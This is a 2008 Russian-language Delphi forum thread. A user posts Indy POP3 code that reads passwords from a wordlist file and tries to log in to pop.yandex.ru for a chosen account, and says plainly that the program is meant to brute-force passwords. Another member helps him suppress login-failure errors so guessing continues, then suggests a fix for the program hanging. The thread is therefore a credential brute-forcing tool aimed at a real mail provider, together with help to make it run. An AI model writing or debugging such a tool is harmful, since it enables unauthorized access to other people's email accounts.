Форум по Delphi программированию

Delphi Sources



Вернуться   Форум по Delphi программированию > Все о Delphi > Интернет и сети
Ник
Пароль
Регистрация <<         Правила форума         >> FAQ Пользователи Календарь Поиск Сообщения за сегодня Все разделы прочитаны

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
  #1  
Старый 05.11.2008, 12:47
ssg ssg вне форума
Прохожий
 
Регистрация: 05.11.2008
Сообщения: 26
Репутация: 10
По умолчанию Ошибка

у меня есть код
Код:
procedure ready(IdPOP31:TIdPOP3; edit1,edit2,edit3:TEdit; label4,label5:
TLabel);
begin
host:='pop.yandex.ru'
user:=edit2.Text;
IdPop31.Host:=host;
IdPOP31.Port:=110;
IdPOP31.Username:=user;
assignfile(list,edit3.Text);
reset(list);
label4.Caption:=label4.Caption+' '+host;
while not eof(list) do begin
   readln(list,s);
   i:=i+1;
end;
label5.Caption:=label5.Caption+' '+inttostr(i);
closefile(list);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
ready(IdPOP31,edit1,edit2,edit3,label4,label5);
assignfile(list,edit3.Text);
reset(list);
readln(list,s);
edit4.Text:=s;
IdPOP31.Password:=s;
while not IdPOP31.Connected do begin
    try
     IdPOP31.Connect(50);
    except
     exit;
    end;
end;
label7.Visible:=true;
closefile(list);
end;
запускаю, нажимаю на кнопку, вылазиет ошибка и указывает на строку после try. как сделать так чтобы она не вылазила? программа должна выполнять функцию брута. заранее спасибо
Ответить с цитированием
  #2  
Старый 05.11.2008, 13:05
Alexo Alexo вне форума
Начинающий
 
Регистрация: 24.01.2007
Сообщения: 191
Репутация: 15
По умолчанию

Какая ошибка?
__________________
Delphi - это лишь инструмент, а что ты сможешь создать при помощи этого инструмента, зависит исключительно от тебя.
Ответить с цитированием
  #3  
Старый 05.11.2008, 13:18
ssg ssg вне форума
Прохожий
 
Регистрация: 05.11.2008
Сообщения: 26
Репутация: 10
По умолчанию

Если пароль неправильный, то вылазиет ошибка "Login failure, try later". а мне надо, чтобы она не вылазила, а программа продолжала подбирать пароли
Ответить с цитированием
  #4  
Старый 05.11.2008, 14:07
Alexo Alexo вне форума
Начинающий
 
Регистрация: 24.01.2007
Сообщения: 191
Репутация: 15
По умолчанию

Код:
while not IdPOP31.Connected do begin
    try
     IdPOP31.Connect(50);
    except
     exit;
    end;
end;

Ты запускаешь в Delphi? Если да то там ошибки будут по любому выскакивать. У меня данный код работает без проблем.
__________________
Delphi - это лишь инструмент, а что ты сможешь создать при помощи этого инструмента, зависит исключительно от тебя.
Ответить с цитированием
  #5  
Старый 05.11.2008, 21:00
ssg ssg вне форума
Прохожий
 
Регистрация: 05.11.2008
Сообщения: 26
Репутация: 10
По умолчанию

Спс, разобрался. Но возникла проблема. Помогите пожалуйста. Исходник
После нажатия на старт всё идёт почти как надо, но потом прога зависает.
Ответить с цитированием
  #6  
Старый 05.11.2008, 21:12
Alexo Alexo вне форума
Начинающий
 
Регистрация: 24.01.2007
Сообщения: 191
Репутация: 15
По умолчанию

idAntiFreze

попробуй
__________________
Delphi - это лишь инструмент, а что ты сможешь создать при помощи этого инструмента, зависит исключительно от тебя.
Ответить с цитированием
Ответ


Delphi Sources

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра
Комбинированный вид Комбинированный вид

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB-коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход


Часовой пояс GMT +3, время: 08:12.


 

Сайт

Форум

FAQ

Соглашения

Прочее

 

Copyright © Форум "Delphi Sources" by BrokenByte Software, 2004-2025